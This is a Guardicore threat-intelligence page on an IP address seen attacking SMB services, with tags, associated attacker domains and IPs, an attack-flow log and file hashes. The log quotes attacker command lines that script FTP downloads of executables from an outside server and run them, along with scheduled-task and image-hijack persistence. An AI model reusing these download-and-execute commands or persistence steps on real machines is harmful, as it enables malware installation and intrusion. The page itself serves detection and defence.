IP Address: 211.22.209.93Malicious

Weekly Summary

Browse or download a weekly review of our cyber threat intelligence data and gain more insight to help protect your network

Top Threats

Cyber Threat Intelligence

Discover Malicious IPs and Domains with Guardicore Cyber Threat Feed

IP Address:
211.22.209.93​
Malicious

This IP address attempted an attack on a machine protected by Guardicore Centra

Threat Information

Role

Attacker, Scanner

Services Targeted

SMB

Tags

Service Configuration Download and Execute Persistency - Image Hijack Access Suspicious Domain Cookie Hijacking File Operation By CMD System File Modification Scheduled Task Creation Outgoing Connection HTTP Download File Service Start CMD Service Creation DNS Poisoning SMB Null Session Login SMB WMI Persistence

Associated Attack Servers

sharktech.net apps.identrust.com hosteons.com pc.pc0416.xyz bumblebeeservers.com pool.minexmr.com grinknowledge.com js.1226bye.xyz ctldl.windowsupdate.com ip.seeip.org gamesoxalic.com triangleww.com grantmindline.com

173.247.239.186 139.5.177.32 103.124.105.246 137.175.56.104 104.37.187.182 139.5.177.10 185.47.128.124 223.25.247.240 139.5.177.19 173.208.172.202 104.233.207.172 23.236.69.114 70.39.123.18 172.83.155.170 192.187.111.66 45.58.135.106 74.222.14.94 66.117.6.174 217.195.153.116 185.26.112.217 173.208.153.130

Basic Information

IP Address

211.22.209.93

Domain

-

ISP

HiNet

Country

Taiwan, Province of China

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Guardicore Centra

2019-04-21

Last seen in Guardicore Centra

2021-05-08

What is Guardicore Centra
Guardicore Centra is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Centra generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

c:\windows\system32\services.exe installed and started cmd as a service named lEbF under service group None

Service Start Service Creation

Process c:\windows\system32\regsvr32.exe generated outgoing network traffic to: 185.47.128.124:8124 and 217.195.153.116:80

Outgoing Connection

System file c:\windows\temp\conhoy.exe was modified 4 times

System File Modification

Process c:\windows\temp\conhoy.exe generated outgoing network traffic to: 103.124.105.246:80, 104.233.207.172:8172 and 137.175.56.104:80

Outgoing Connection

Process c:\windows\temp\conhoy.exe attempted to access suspicious domains: hosteons.com

Outgoing Connection Access Suspicious Domain

System file C:\windows\Temp\wmia.bat was modified 9 times

System File Modification

C:\windows\Temp\wmia.bat was downloaded

Download File

System file C:\windows\Temp\u.exe was modified 9 times

System File Modification

C:\WINDOWS\Temp\ntuser.dat was downloaded

Download File

The file C:\windows\Temp\u.exe was downloaded and executed

Download and Execute

c:\windows\inf\aspnet\lsma12.exe was downloaded

Download File

Process c:\windows\temp\u.exe generated outgoing network traffic to: 104.37.187.182:80, 104.37.187.182:8888 and 172.83.155.170:80

Outgoing Connection

System file c:\windows\inf\aspnet\lsma12.exe was modified 4 times

System File Modification

Process c:\windows\temp\u.exe attempted to access suspicious domains: grantmindline.com

Outgoing Connection Access Suspicious Domain

c:\windows\debug\item.dat was downloaded

Download File

System file c:\windows\debug\item.dat was modified 4 times

System File Modification

The file c:\windows\temp\conhoy.exe was downloaded and executed 18 times

Download and Execute

The file C:\WINDOWS\system\msinfo.exe was downloaded and executed

Download and Execute

The file C:\WINDOWS\system32\wpcap.dll was downloaded and loaded by c:\windows\system\msinfo.exe

Download and Execute

The file C:\WINDOWS\system32\packet.dll was downloaded and loaded by c:\windows\system\msinfo.exe

Download and Execute

The command line cmd /c echo open ftp.ftp0810.ru>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe c:\windows\update.exe>>s&echo bye>>s&ftp -s:s&c:\windows\update.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa.job

The command line C:\WINDOWS\system32\rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa1.job

The command line cmd /c echo open ftp.ftp0810.ru>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa2.job

The command line cmd /c echo open ftp.ftp0810.ru>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\windows\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&c:\windows\help\lsmosee.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa3.job

The command line C:\WINDOWS\system32\rundll32.exe c:\windows\debug\ok.dat,ServiceMain aaaa was scheduled to run by modifying C:\WINDOWS\Tasks\ok.job

The command line c:\windows\inf\aspnet\lsma12.exe was scheduled to run by modifying C:\WINDOWS\Tasks\oka.job

The command line c:\windows\temp\conhoy.exe was scheduled to run by modifying C:\WINDOWS\Tasks\MicrosoftsWindowsy.job

c:\windows\system32\sc.exe set the command line ntsd -d to run using Persistency - Image Hijack

Persistency - Image Hijack

c:\windows\system32\net1.exe set the command line ntsd -d to run using Persistency - Image Hijack

Persistency - Image Hijack

c:\windows\system32\sc.exe set the command line ntsd -d to run using Persistency - Image Hijack

Persistency - Image Hijack

DNS poisoning detected, with hostname kr1s.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname zcop.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname sql.4i7i.com , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname kr1s.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname zcop.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname sql.4i7i.com , and associated IP address 127.0.0.1

System file C:\WINDOWS\system32\drivers\etc\hosts was modified

System File Modification

System file C:\WINDOWS\system32\wbem\AutoRecover\88744D2A29102FC88ECF505DD2E984FC.mof was modified

System File Modification

Connection was closed due to user inactivity

Associated Files

C:\Windows\System32\ok.exe

SHA256: a3bb132ab1ba3e706b90d6fb514504105f174c4e444e87be7bce1995f798044d

2241024 bytes

C:\Windows\SysWOW64\wpcap.dll

SHA256: b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9

282360 bytes

C:\Windows\SysWOW64\npptools.dll

SHA256: 366b77df76729d08687051c1ec4b718ba1d650bca5b16eb15ec5c11570d6ff16

48128 bytes

C:\Windows\System\msinfo.exe

SHA256: 7ec433dd0454553b09f11c39944e251e3ee32e4981f52f02adc3011eb0ce6537

4887552 bytes

C:\Windows\System32\drivers\npf.sys

SHA256: 4bfaa99393f635cd05d91a64de73edb5639412c129e049f0fe34f88517a10fc6

36600 bytes

C:\Windows\Temp\conhost.exe

SHA256: 790c213e1227adefd2d564217de86ac9fe660946e1240b5415c55770a951abfd

221184 bytes

C:\Windows\debug\item.dat

SHA256: 80f8ba7992a5dbaa4a2f76263258d5d7bf3bb8994f9e8a4a5294f70ab8e38ea4

3358208 bytes

Oops! - Do you see your IP here? Contact us at labs@guardicore.com to remove it from the Threat Intelligence data.

IP Address: 211.22.209.93​Malicious